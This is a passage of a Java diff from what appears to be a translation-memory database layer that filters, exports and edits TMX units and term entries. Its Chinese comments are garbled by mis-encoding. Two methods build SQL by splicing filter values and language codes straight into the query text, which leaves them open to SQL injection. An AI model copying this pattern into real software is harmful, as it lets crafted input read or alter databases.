srcText1.compareTo(srcText2); + } + }); + + TmxTU tuBean = null; + TmxTU curBean = null; + List equalsList = null; + Map> indexMap = new TreeMap>(); + bigFor:for (int i = 0; i < tuDataList.size(); i++) { + tuBean = tuDataList.get(i); + equalsList = new ArrayList(); + equalsList.add(tuBean); + srcText = ignoreTag ? tuBean.getSource().getPureText() : tuBean.getSource().getFullText(); + + for (int j = i + 1; j < tuDataList.size(); j++) { + curBean = tuDataList.get(j); + String curSrcText = ignoreTag ? curBean.getSource().getPureText() : curBean.getSource().getFullText(); + if (srcText.equals(curSrcText)) { + equalsList.add(curBean); + i ++; + }else { + ananysisDuplicateData(indexMap, equalsList, ignoreTag); + continue bigFor; + } + if (j == tuDataList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + ananysisDuplicateData(indexMap, equalsList, ignoreTag); + } + } + } + + for (Entry> entry : indexMap.entrySet()) { + result.addAll(entry.getValue()); + } + + tuDataList.clear(); + System.out.println("过滤耗时:" + (System.currentTimeMillis() - time1)); + + } finally { + if (rt != null) { + rt.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return result; + } + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„æ•°æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisDuplicateData(Map> indexMap, List equalsList, boolean ignoreTag){ + if (equalsList.size() >= 2) { + List resultIdxIdList = null; + // 因为 arraylist 的删除ä¸ç»™åŠ›ï¼Œæ•…,将è¦åˆ é™¤çš„ index 放到 hashset 里é¢ï¼Œä¸ºäº†æ高效率。 + HashSet removedIdSet = new HashSet(); + int startIdx = 0; + TmxTU tuBean = null; + TmxTU curTuBean = null; + whileName:while(startIdx < equalsList.size() - 1){ + if (removedIdSet.contains(startIdx)) { + startIdx ++; + continue whileName; + } + + resultIdxIdList = new ArrayList(); + + tuBean = equalsList.get(startIdx); + String tgtText = ignoreTag ? tuBean.getTarget().getPureText() : tuBean.getTarget().getFullText(); + resultIdxIdList.add(tuBean.getTmId()); + removedIdSet.add(startIdx); + forName:for (int k = startIdx + 1; k < equalsList.size(); k++) { + if (removedIdSet.contains(k)) { + continue forName; + } + + curTuBean = equalsList.get(k); + String curTgtText = ignoreTag ? curTuBean.getTarget().getPureText() : curTuBean.getTarget().getFullText(); + if (tgtText.equals(curTgtText)) { + resultIdxIdList.add(curTuBean.getTmId()); + removedIdSet.add(k); + } + } + + if (resultIdxIdList.size() >= 2) { + Collections.sort(resultIdxIdList, new Comparator() { + public int compare(Integer tmId1, Integer tmId2) { + return tmId1.compareTo(tmId2); + } + }); + indexMap.put(resultIdxIdList.get(0), resultIdxIdList); + } + startIdx ++; + } + } + } + + + /** + * 过滤查询:查询带批注的文本段的内容 robert 2013-08-22 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return + * @throws SQLException + * ; + */ + public List getWithNoteTuPK(String srcLang, String tgtLang, boolean ignoreCase, boolean ignoreTag) + throws SQLException { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getWithNoteTuPK"); + Map> rs = query(sql, new Object[] { srcLang, tgtLang }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + String string = next.get("ID"); + result.add(string); + } + return result; + } + + /** + * 过滤查询:查询有乱ç çš„的文本段的 主键 robert 2013-08-22 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return + * @throws SQLException + * ; + */ + public List getWithGarbleTuPK(String srcLang, String tgtLang, boolean ignoreCase, boolean ignoreTag) + throws SQLException { + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getWithGarbleTuPK"); + Map> rs = query(sql, new Object[] { srcLang, tgtLang }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + String src = null; + String tgt = null; + CharsetEncoder encoder = java.nio.charset.Charset.forName("UTF-8").newEncoder(); + while (iterator.hasNext()) { + Map next = iterator.next(); + String id = next.get("ID"); + src = next.get("SRC"); + if (src != null) { + if (!encoder.canEncode(src)) { + result.add(id); + continue; + } + } + tgt = next.get("TGT"); + if (tgt != null) { + if (!encoder.canEncode(tgt)) { + result.add(id); + } + } + } + + return result; + } + + /** + * 获å–译文为空的所有文本段主键 --robert 2013-10-12 + * @param dbOp + * @param filterBean + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return + * @throws Exception + * ; + */ + public List getTgtNullTuPK(String srcLang, String tgtLang, boolean ignoreCase, boolean ignoreTag) + throws Exception { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getTgtNullTuPK"); + sql = Utils.replaceString(sql, "###IGNORETAG###", ignoreTag ? "PURE" : "CONTENT"); + + Map> rs = query(sql, new Object[] { srcLang, tgtLang }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + while (iterator.hasNext()) { + Map next = iterator.next(); + String tgtText = next.get("TGT"); + if (TextUtil.checkStringEmpty(tgtText)) { + String id = next.get("ID"); + result.add(id); + } + } + return result; + } + + /** + * UNDO 所有数æ®åº“ç›¸å…³çš„éƒ½æœªå¤„ç† è¿‡æ»¤æŸ¥è¯¢ï¼šæŸ¥è¯¢è‡ªå®šä¹‰è¿‡æ»¤å™¨çš„æ–‡ä»¶æ®µçš„ã€€ä¸»é”® robert 2013-08-22 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return ; + */ + public List getCustomFilterTuPK(String sql, String srcLang, String tgtLang, boolean ignoreCase, + boolean ignoreTag) throws SQLException { + List result = new ArrayList(); + + sql = Utils.replaceString(sql, "###IGNORETAG###", ignoreTag ? "PURE" : "CONTENT"); + Map> rs = query(sql, new Object[] { srcLang, tgtLang }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + + while (iterator.hasNext()) { + Map next = iterator.next(); + String id = next.get("ID"); + result.add(id); + } + + return result; + } + + /** + * @deprecated ç›®å‰äº›æ–¹æ³•æš‚时未使用,所有导出的TMX文件头都是é‡æ–°ç”Ÿæˆçš„ 导出时,根æ®è®¾ç½®çš„过滤æ¡ä»¶èŽ·å–本次导出的TMX Header主键 + * @param mTuFilter + * MTU表的过滤æ¡ä»¶ + * @param mNoteFilter + * MNOTE表的过滤æ¡ä»¶ + * @param textDataFilter + * TEXTDATA表的过滤æ¡ä»¶ + * @return 返回当å‰å¯¼å‡ºçš„TMX内容的Header在库中的主键,如果导的TU具有ä¸åŒçš„Header则返回-1 + * @throws SQLException + */ + public int getAfterFilterTuHeaderPk(String mTufilter, String mNoteFilter, String textDataFilter) + throws SQLException { + String filterTuSQL = dbConfig.getOperateDbSQL("getTMXHeaderId"); + StringBuffer whereBuff = new StringBuffer(); + if (mTufilter != null && !mTufilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(mTufilter); + } + if (textDataFilter != null && !textDataFilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(textDataFilter); + } + if (mNoteFilter != null && !mNoteFilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(mNoteFilter); + } + filterTuSQL = Utils.replaceString(filterTuSQL, "__where__", whereBuff.toString()); + + int result = -1; + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(filterTuSQL); + rs = stmt.executeQuery(); + while (rs.next()) { + int temp = rs.getInt(1); + if (result == -1) { + result = temp; + } else if (result != temp) { + return -1; + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return result; + } + + /** + * æ ¹æ®è®¾ç½®çš„过滤æ¡ä»¶ç”Ÿæˆç›¸åº”çš„SQLè¯­å¥ + * @param tableName + * 过滤æ¡ä»¶çš„表å + * @param filterBean + * 设置过滤æ¡ä»¶ + * @return 生æˆSQLæ¡ä»¶éƒ¨åˆ†,å³whereåŽé¢çš„过滤æ¡ä»¶,没有过滤æ¡ä»¶åˆ™è¿”回一个空串; + */ + public String generationExportTMXFilter(String tableName, ExportFilterBean filterBean) { + String connector = filterBean.getFilterConnector(); + List filterOption = filterBean.getFilterOption(); + Map tuMatch = Utils.getFilterMatchMTU("MTU"); + Map mNoteDateMatch = Utils.getFilterMatchMTU("MNOTE"); + Map textDateMatch = Utils.getFilterMatchMTU("TEXTDATA"); + + StringBuffer bf = new StringBuffer(); + for (int i = 0; i < filterOption.size(); i++) { + ExportFilterComponentBean bean = filterOption.get(i); + + Character fieldType = null; + String field = bean.getMatchDbField(); + String op = bean.getExpressionMatchDb(); + String value = bean.getFilterVlaue(); + if ("MTU".equals(tableName)) { // 添加 "A.","B.","C."请å‚考查询SQL + fieldType = tuMatch.get(field); + field = "A." + field; + } else if ("MNOTE".equals(tableName)) { + fieldType = mNoteDateMatch.get(field); + field = "B." + field; + } else if ("TEXTDATA".equals(tableName)) { + fieldType = textDateMatch.get(field); + field = "C." + field; + } + if (fieldType == null) { + continue; + } + bf.append(field); + bf.append(" " + op + " "); + + switch (fieldType) { + case '1': // 文本内容,包å«/ä¸åŒ…å«å†…容 + if (op.equals("like") || op.equals("not like")) { + bf.append(" '%" + value + "%' "); + } else { + bf.append(" '" + value + "' "); + } + bf.append(connector + " "); + break; + case '2': // 日期类型 ç›®å‰ç»Ÿä¸€é‡‡ç”¨where dataField > 'yyyy-MM-dd hh:mm:ss' 此方å¼ä¸é€‚用于Oracle,å‚è§Oracle实现 + bf.append(" '" + value + "' "); + bf.append(connector + " "); + break; + default: + return ""; + } + } + String result = bf.toString(); + if (result.equals("")) { + return result; + } + return result.substring(0, result.lastIndexOf(connector)); + } + + /** + * 通过TU在库中的主键获å–TU的内容 + * @param tuPk + * 在库中的主键 + * @param needLangs + * 对应的语言 + * @param isLevel1 + * 是å¦èŽ·å–一级TMX + * @param isTagOnly + * 是å¦åªèŽ·å–带标记的TU + * @return 从库中查询的TU节点的完整内容 + * @throws SQLException + * ; + */ + public String retrieveTu(int tuPk, List needLangs, boolean isLevel1, boolean isTagOnly) throws SQLException { + // 选处ç†TUV,判断TUV是å¦æ»¡è¶³è¦æ±‚ + String tuvContent = retrieveTuv(tuPk, needLangs, isLevel1, isTagOnly); + if (tuvContent.equals("")) { + return ""; + } + + Map match = Utils.getTUDbMatchTmx(); + Map tuAttrsMap = getTUByTuPkId(tuPk); + String client = tuAttrsMap.get("CLIENT"); + String project = tuAttrsMap.get("PROJECTREF"); + String job = tuAttrsMap.get("JOBREF"); + + tuAttrsMap = changeToTMX(tuAttrsMap, match); + Iterator> it = tuAttrsMap.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + bf.append(" entry = it.next(); + String attrName = entry.getKey(); + String attrValue = entry.getValue(); + if (attrValue != null && !attrValue.equals("")) { + if (attrName.equals("creationdate") || attrName.equals("changedate")) { + Date t = DateUtils.strToDateLong(attrValue); + if (t != null) { + attrValue = DateUtils.formatToUTC(t.getTime()); + bf.append(" " + attrName + "=\"" + attrValue + "\""); + } + } else { + bf.append(" " + attrName + "=\"" + attrValue + "\""); + } + } + } + bf.append(retrieveExtra(tuPk, "TU", "A")); + bf.append(">\n"); + + bf.append(retrieveNote(tuPk, "TU")); + + bf.append(retrieveProp(tuPk, "TU")); + + if (project != null && !project.equals("")) { + bf.append("" + project + "\n"); + } + if (client != null && !client.equals("")) { + bf.append("" + client + "\n"); + } + if (job != null && !job.equals("")) { + bf.append("" + job + "\n"); + } + + bf.append(retrieveExtra(tuPk, "TU", "E")); + + bf.append(tuvContent); + + bf.append("\n"); + return bf.toString(); + } + + /** + * 获å–扩展表中的数æ®,包括节点的属性和节点 + * @param parentId + * 父节点的主键 + * @param parentName + * 父节点的å称 + * @param type + * 类型,"E"节点,"A"节点属性 + * @return 生æˆçš„属性或者节点内容;无内容时返回空串 + * @throws SQLException + * ; + */ + private String retrieveExtra(int parentId, String parentName, String type) throws SQLException { + StringBuffer bf = new StringBuffer(); + Map> tuExtraAttrsMap = getExtraValue(parentId, parentName, type); + if (type.equals("A")) { // 节点属性 + for (Integer dbRow : tuExtraAttrsMap.keySet()) { + Map dbRowValue = tuExtraAttrsMap.get(dbRow); + String attrName = dbRowValue.get("NNAME"); + String attrValue = dbRowValue.get("CONTENT"); + if (attrValue != null && !attrValue.equals("")) { + bf.append(" " + attrName + "=\"" + attrValue + "\""); + } + } + } else if (type.equals("E")) { // 节点 + Map> tuvExtraElement = getExtraValue(parentId, parentName, type); + for (Integer eRow : tuvExtraElement.keySet()) { + Map tuSubElement = tuvExtraElement.get(eRow); + String content = tuSubElement.get("CONTENT"); + if (content != null && !content.equals("")) { + bf.append(content + "\n"); + } + } + } + return bf.toString(); + } + + /** + * 通过父节点的主键获å–该节点的NOTEå­èŠ‚点内容 + * @param parentId + * 父节点的主键 + * @param parentName + * 父节点的å称 + * @return 完整的NOTE节点内容;æ— NOTE节点返回空串 + * @throws SQLException + * ; + */ + private String retrieveNote(int parentId, String parentName) throws SQLException { + StringBuffer bf = new StringBuffer(); + Map> tuNotesMap = getMNoteValue(parentId, parentName); + for (Integer noteRow : tuNotesMap.keySet()) { + Map note = tuNotesMap.get(noteRow); + bf.append(note.get("CONTENT") + "\n"); + } + return bf.toString(); + } + + /** + * 通过父节点的主键获å–该节点的propå­èŠ‚点的完整内容 + * @param parentId + * 父节点的主键 + * @param parentName + * 父节点的å称 + * @return 完整的PROP节点内容,æ— PROP节点返回空串 + * @throws SQLException + * ; + */ + private String retrieveProp(int parentId, String parentName) throws SQLException { + StringBuffer bf = new StringBuffer(); + Map> tuPropMap = getMPropValue(parentId, parentName); + for (Integer propRow : tuPropMap.keySet()) { + Map propMap = tuPropMap.get(propRow); + bf.append(""); + bf.append(propMap.get("CONTENT")); + bf.append("\n"); + } + return bf.toString(); + } + + /** + * 通过父节点的主键获å–该节点的TUVå­èŠ‚点的完整内容 + * @param tuPk + * 父节点的主键 + * @param needLangs + * 需è¦æŸ¥è¯¢çš„语言,å¿…é¡»æˆå¯¹å‡ºçŽ° + * @param isLevel1 + * 是å¦ä¸ºä¸€çº§TMX + * @param isTagOnly + * 是å¦åªå¯¼å‡ºå¸¦æ ‡è®°çš„TMX + * @return 返回完整的TUV节点内容,无内容时返回空串 + * @throws SQLException + * ; + */ + private String retrieveTuv(int tuPk, List needLangs, boolean isLevel1, boolean isTagOnly) + throws SQLException { + ArrayList> tuvList = new ArrayList>(); + for (Iterator iterator = needLangs.iterator(); iterator.hasNext();) { + String lang = iterator.next(); + Map tuvMap = getTextDataValue("M", tuPk, lang); + if (tuvMap == null) { // TU ä¸æ»¡è¶³è¯­è¨€æ¡ä»¶ + // Fixed Bug #2296 ä¸æ”¯æŒå¤šè¯­è¨€å¯¹å¯¼å‡ºTMX文件 + // return ""; + continue; + } + String tuvPureText = tuvMap.get("PURE"); + String tuvText = tuvMap.get("CONTENT"); + if (isTagOnly) { + if (tuvPureText.equals(tuvText)) { + // Fixed Bug #2296 ä¸æ”¯æŒå¤šè¯­è¨€å¯¹å¯¼å‡ºTMX文件 + // return ""; + continue; + } + } + tuvList.add(tuvMap); + } + if (tuvList.size() < 2) { + return ""; + } + StringBuffer bf = new StringBuffer(); + for (Iterator> iterator = tuvList.iterator(); iterator.hasNext();) { + Map tuvMap = iterator.next(); + int tuvPk = Integer.parseInt(tuvMap.get("TPKID")); + String preContext = tuvMap.get("PRECONTEXT"); + String nextContext = tuvMap.get("NEXTCONTEXT"); + + bf.append("\n"); + + bf.append(retrieveNote(tuvPk, "TUV")); + + bf.append(retrieveProp(tuvPk, "TUV")); + if (preContext != null && !preContext.equals("")) { + bf.append("" + preContext + "\n"); + } + if (nextContext != null && !nextContext.equals("")) { + bf.append("" + nextContext + "\n"); + } + + bf.append(retrieveExtra(tuvPk, "TUV", "E")); + + String segContent = ""; + if (isLevel1) { + segContent = tuvMap.get("PURE"); + } else { + segContent = tuvMap.get("CONTENT"); + } + bf.append("" + InnerTagClearUtil.clearXliffTag4Tmx(segContent) + "\n"); + bf.append("\n"); + } + return bf.toString(); + } + + /** + * 将从数æ®åº“中获å–的属性对转æ¢æˆTMX文件中对应的属性键值对. + * @param dbMap + * æ•°æ®åº“中获å–的属性键值对 + * @param tmxMap + * TMX中的属性键值对 + * @return æ•°æ®åº“å­—æ®µä¸Žå€¼çš„å¯¹åº”é›†åˆ + */ + private Map changeToTMX(Map dbMap, Map tmxMap) { + Map params = new HashMap(); + if (dbMap != null) { + Iterator> it = dbMap.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = it.next(); + String key = entry.getKey(); + String value = entry.getValue(); + String tmpKey = tmxMap.get(key); + if (tmpKey != null) { + it.remove(); + params.put(tmpKey, value); + } + } + } + return params; + } + + /** + * æ ¹æ®è¿‡æ»¤æ¡ä»¶å’Œéœ€è¦è¯­è¨€ä»ŽTextData表中获å–termEntry pk + * @param where + * 过滤æ¡ä»¶ + * @param needLang + * 需è¦çš„语言 + * @return + * @throws SQLException + * ; + */ + public List getAfterFilterTermEntryPK(String where, List needLang) throws SQLException { + String filterSQL = dbConfig.getOperateDbSQL("getTermEntryPkByFilter"); + + filterSQL = Utils.replaceString(filterSQL, "__where__", where); + StringBuffer langWhere = new StringBuffer(); + for (int i = 0; i < needLang.size(); i++) { + langWhere.append("LANG='" + needLang.get(i) + "' OR "); + } + String langs = langWhere.toString(); + langs = langWhere.substring(0, langWhere.lastIndexOf("OR")); + filterSQL = Utils.replaceString(filterSQL, "__langwhere__", langs); + + List result = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(filterSQL); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getInt("GROUPID")); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return result; + } + + /** + * 验è¯å½“å‰termEntry是å¦æ˜¯ç¬¦åˆè¯­è¨€éœ€è¦ï¼Œå³langSet节点都必须有我们需è¦çš„语言 + * @param pks + * TermEntry pk + * @param needLangs + * 需è¦çš„语言 + * @return 返回符åˆè¦æ±‚çš„TermEntry pk + * @throws SQLException + * ; + */ + public List validateTermEntryPk(List pks, List needLangs, String srcLang) + throws SQLException { + List result = new ArrayList(); + String sqlStr = dbConfig.getOperateDbSQL("getTermEntryLangByPk"); + for (Integer pk : pks) { + List queryRs = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(sqlStr); + stmt.setInt(1, pk); + rs = stmt.executeQuery(); + while (rs.next()) { + queryRs.add(rs.getString("LANG")); + } + // fix Bug #2361 TBX文件导出问题--语言ä¸èƒ½æ­£ç¡®è¿‡æ»¤å¯¼å‡º by Jason + if (!queryRs.contains(srcLang)) { + continue; + } + for (String needLang : needLangs) { + if (needLang.equals(srcLang)) { + continue; + } + if (queryRs.contains(needLang)) { // 至少包å«ä¸€ç§ + result.add(pk); + break; + } + } + + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + } + return result; + } + + /** + * 获å–TermEntry节点的完整内容 + * @param termEntryPK + * TERMETNRY在库中的主键 + * @return 节点的完整内容 + * @throws SQLException + * ; + */ + public String retrieveTermEntry(int termEntryPK) throws SQLException { + return getTermEntryContentByPk(termEntryPK) + "\n\n"; + } + + /** + * 查询TUçš„TUV节点 + * @param tupkid + * @param lang + * @return ; + * @throws SQLException + */ + public Map getTMXSegmentByIdAddLang(Integer tupkid, String lang) throws SQLException { + Map> queryRs = query(dbConfig.getOperateDbSQL("get-tmxsegment-byid-lang"), + new Object[] { tupkid, lang }); + if (queryRs.isEmpty()) { + return null; + } + return queryRs.get(0); + } + + public Map getHeaderinfoById(Integer mnpkid) throws SQLException { + Map> queryRs = query(dbConfig.getOperateDbSQL("get-header-byid"), + new Object[] { mnpkid }); + if (queryRs.isEmpty()) { + return null; + } + return queryRs.get(0); + } + + /** + * @param tupkid + * ; + * @throws SQLException + */ + public void deleteTU(int tupkid) throws SQLException { + String deleteMtuSQL = dbConfig.getOperateDbSQL("delete-mtu-byid"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteMtuSQL); + prepareStatement.setInt(1, tupkid); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + + } + + public void deleteTuProp(int parentId, String parentName) throws SQLException { + String deleteTuPropSQL = dbConfig.getOperateDbSQL("delete-tumprop-byid"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuPropSQL); + prepareStatement.setInt(1, parentId); + prepareStatement.setString(2, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + + } + + /** + * @param tupkid + * ; + * @throws SQLException + */ + public void deleteTuNote(int parentId, String parentName) throws SQLException { + String deleteTuNoteSQL = dbConfig.getOperateDbSQL("delete-tunote-byid"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuNoteSQL); + prepareStatement.setInt(1, parentId); + prepareStatement.setString(2, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + + } + + /** + * @param tupkid + * ; + * @throws SQLException + */ + public void deleteTuExtra(int parentId, String parentName) throws SQLException { + String deleteTuExtra = dbConfig.getOperateDbSQL("delete-mextra-byid"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuExtra); + prepareStatement.setInt(1, parentId); + prepareStatement.setString(2, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + + } + + public void deleteLang(String lang) throws SQLException { + String deleteTuExtra = dbConfig.getOperateDbSQL("delete-lang"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuExtra); + prepareStatement.setString(1, lang); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + + public int getLangCountInTextData(String lang) throws SQLException { + String deleteTuExtra = dbConfig.getOperateDbSQL("get-lang-count"); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuExtra); + prepareStatement.setString(1, lang); + ResultSet executeQuery = prepareStatement.executeQuery(); + executeQuery.next(); + int rs = executeQuery.getInt(1); + executeQuery.close(); + prepareStatement.close(); + return rs; + } + + public void updateTUChangeDate(int id, String date) throws SQLException { + String updateChangeDate = dbConfig.getOperateDbSQL("update-mtu-changedate"); + PreparedStatement prepareStatement = conn.prepareStatement(updateChangeDate); + prepareStatement.setTimestamp(1, DateUtils.getTimestampFromUTC(date)); + prepareStatement.setInt(2, id); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + /** + * æ›´æ–°TU用系统默认时间 + * @param id + * @throws SQLException + * ; + */ + public void updateTUChangeDateUseDefault(int id) throws SQLException { + updateTUChangeDate(id, CommonFunction.retTMXDate()); + } + + public void updateTUChangeUser(Integer tuId, String newUser) throws SQLException { + // sql :UPDATE MTU SET CHANGEID =? WHERE MTUPKID=? + Object[] params = new Object[] { newUser, tuId }; + update("update-mtu-changeuser", params); + + } + + public void updateTUVContent(int tuvId, String hashCode, String pureText, String content) throws SQLException { + String updateTUVContent = dbConfig.getOperateDbSQL("update-tuvcontent"); + PreparedStatement prepareStatement = conn.prepareStatement(updateTUVContent); + prepareStatement.setString(1, hashCode); + prepareStatement.setString(2, pureText); + prepareStatement.setString(3, content); + prepareStatement.setInt(4, tuvId); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + public void updateMProp(int propId, String pName, String content) throws SQLException { + String updateTUVContent = dbConfig.getOperateDbSQL("update-mprop-byid"); + PreparedStatement prepareStatement = conn.prepareStatement(updateTUVContent); + prepareStatement.setString(1, pName); + prepareStatement.setString(2, content); + prepareStatement.setInt(3, propId); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + /** + * æ ¹æ®è¡¨çš„主键更新表,表主键的Id需è¦æ”¾åœ¨paramsçš„æœ€åŽ paramsçš„å‚数需è¦ä¸ŽSQL语å¥é‡Œé¢çš„?一致 + * @param sqlConfig + * @param params + * ; + * @throws SQLException + */ + public boolean update(String sqlConfig, Object[] params) throws SQLException { + String updateStmt = dbConfig.getOperateDbSQL(sqlConfig); + PreparedStatement prepareStatement = conn.prepareStatement(updateStmt); + for (int i = 0; i < params.length; i++) { + setParameter(prepareStatement, i + 1, params[i]); + } + int executeUpdate = prepareStatement.executeUpdate(); + + prepareStatement.close(); + if (executeUpdate > 0) { + return true; + } else { + return false; + } + } + + public void updateMNote(Integer id, String enconding, String lang, String content) throws SQLException { + // SQL UPDATE MNOTE SET CONTENT=? ,ENCODING=? ,LANG=? WHERE MNPKID =? + Object[] params = new Object[] { content, enconding, lang, id }; + update("update-note-byid", params); + } + + /** + * 执行insert返回æ’入的主键 + * @param sqlConfig + * @param params + * @return + * @throws SQLException + * ; + */ + public String insert(String sqlConfig, Object[] params) throws SQLException { + String updateStmt = dbConfig.getOperateDbSQL(sqlConfig); + PreparedStatement prepareStatement = conn.prepareStatement(updateStmt, Statement.RETURN_GENERATED_KEYS); + for (int i = 0; i < params.length; i++) { + setParameter(prepareStatement, i + 1, params[i]); + } + int row = prepareStatement.executeUpdate(); + String key = "-1"; + if (row == 1) { + ResultSet rs = prepareStatement.getGeneratedKeys(); + if (rs.next()) { + key = rs.getString(1); + } + if (rs != null) + rs.close(); + } + return key; + } + + public List getEmptyPure(String lang, IProgressMonitor monitor,boolean ignoreTag) throws SQLException { + // sql:SELECT GROUPID ,CONTENT FROM TEXTDATA WHERE LANG = ? + Map> rs = query(dbConfig.getOperateDbSQL("get-empty-content"), + new Object[] { lang }); + monitor.beginTask("", rs.size()); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + List ids = new ArrayList(); + String text = null; + while (iterator.hasNext()) { + Map next = iterator.next(); + String fullText = next.get("CONTENT"); + text = ignoreTag ? TmxInnerTagParser.getInstance().getTmxPureText(fullText):fullText; + if(null == text){ + continue; + } + if(next.get("GROUPID") == null){ + continue; + } + if(text.trim().isEmpty()){ + ids.add(Integer.parseInt(next.get("GROUPID"))); + } + monitor.worked(1); + } + monitor.done(); + return ids; + } + + public int addExAttribute(String parentName, Integer parentId, String attName, String attriValue) + throws SQLException { + // sql : INSERT INTO MEXTRA (PARENTNAME , PARENTID ,NTYPE ,NNAME,CONTENT) VALUES(?,?,'A',?,?) + Object[] params = new Object[] { parentName, parentId, attName, attriValue }; + String insertId = insert("add-attribute", params); + return Integer.parseInt(insertId); + } + + public void delete(String deleteSql, Object[] params) throws SQLException { + String updateStmt = dbConfig.getOperateDbSQL(deleteSql); + PreparedStatement prepareStatement = conn.prepareStatement(updateStmt); + for (int i = 0; i < params.length; i++) { + setParameter(prepareStatement, i + 1, params[i]); + } + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + public void deleteExAttribute(Integer parentid, String parentName, String name) throws SQLException { + // sql : DELETE FROM MEXTRA WHERE PARENTNAME = ? AND PARENTID = ? AND NTYPE='A' AND NNAME =? + Object[] params = new Object[] { parentName, parentid, name }; + delete("delete-attribute-buinfo", params); + } + + public boolean updateExAttribute(int parentId, String parentName, String name, String newvalue) throws SQLException { + // sql : UPDATE MEXTRA SET CONTENT = ? WHERE PARENTID = ? AND NNAME = ? AND PARENTNAME=? + Object[] params = new Object[] { newvalue, parentId, name, parentName }; + return update("update-ex-attribute-value", params); + } + + public int addMNote(String parentName, Integer parentId, String content, String enconding, String lang) + throws SQLException { + // sql : INSERT INTO MNOTE (PARENTNAME,PARENTID,CONTENT,ENCODING,LANG) VALUES(?,?,?,?,?) + Object[] params = new Object[] { parentName, parentId, content, enconding, lang }; + String insertId = insert("add-mnote", params); + return Integer.parseInt(insertId); + } + + public void deleteMNote(Integer mnpkid) throws SQLException { + // sql:DELETE FROM MNOTE WHERE MNPKID =? + Object[] params = new Object[] { mnpkid }; + delete("delete-mnote-byid", params); + } + + public int addMProp(String parentName, Integer parentId, String pName, String content) throws SQLException { + // sql :INSERT INTO MPROP (PARENTNAME ,PARENTID,PNAME ,CONTENT) VALUES(?,?,?,?) + Object[] params = new Object[] { parentName, parentId, pName, content }; + String insertId = insert("add-mprop", params); + return Integer.parseInt(insertId); + } + + public void deleteMProp(Integer mppkid) throws SQLException { + // sql :DELETE FROM MPROP WHERE MPPKID=? + Object[] params = new Object[] { mppkid }; + delete("delete-mprop-byid", params); + + } + + /** + * 删除一个语言片段 + * @param lang + * @param tuvId + * @throws SQLException + * ; + */ + public void deleteMatrix_lang(String lang, int tuvId) throws SQLException { + String langCode = Utils.langToCode(lang).toUpperCase(); + String deleteSql = dbConfig.getOperateDbSQL("delete-matrix_lang"); + deleteSql = deleteSql.replaceAll("__LANG__", langCode); + Object[] params = new Object[] { tuvId }; + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + for (int i = 0; i < params.length; i++) { + setParameter(prepareStatement, i + 1, params[i]); + } + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + /** + * æ’入一个语言片段 + * @param lang + * @param tuvId + * @param pureText + * @throws SQLException + * ; + */ + public void insertMatrix_lang(String lang, int tuvId, String pureText) throws SQLException { + String langCode = Utils.langToCode(lang).toUpperCase(); + int[] ngrams = generateNgrams(lang, pureText); + PreparedStatement stmt = null; + if (ngrams.length > 0) { + String insertMatrix = dbConfig.getMatrixSQL("insert"); + insertMatrix = insertMatrix.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(insertMatrix); + for (int j = 0; j < ngrams.length; j++) { + stmt.setInt(1, tuvId); + stmt.setInt(2, ngrams[j]); + stmt.setShort(3, 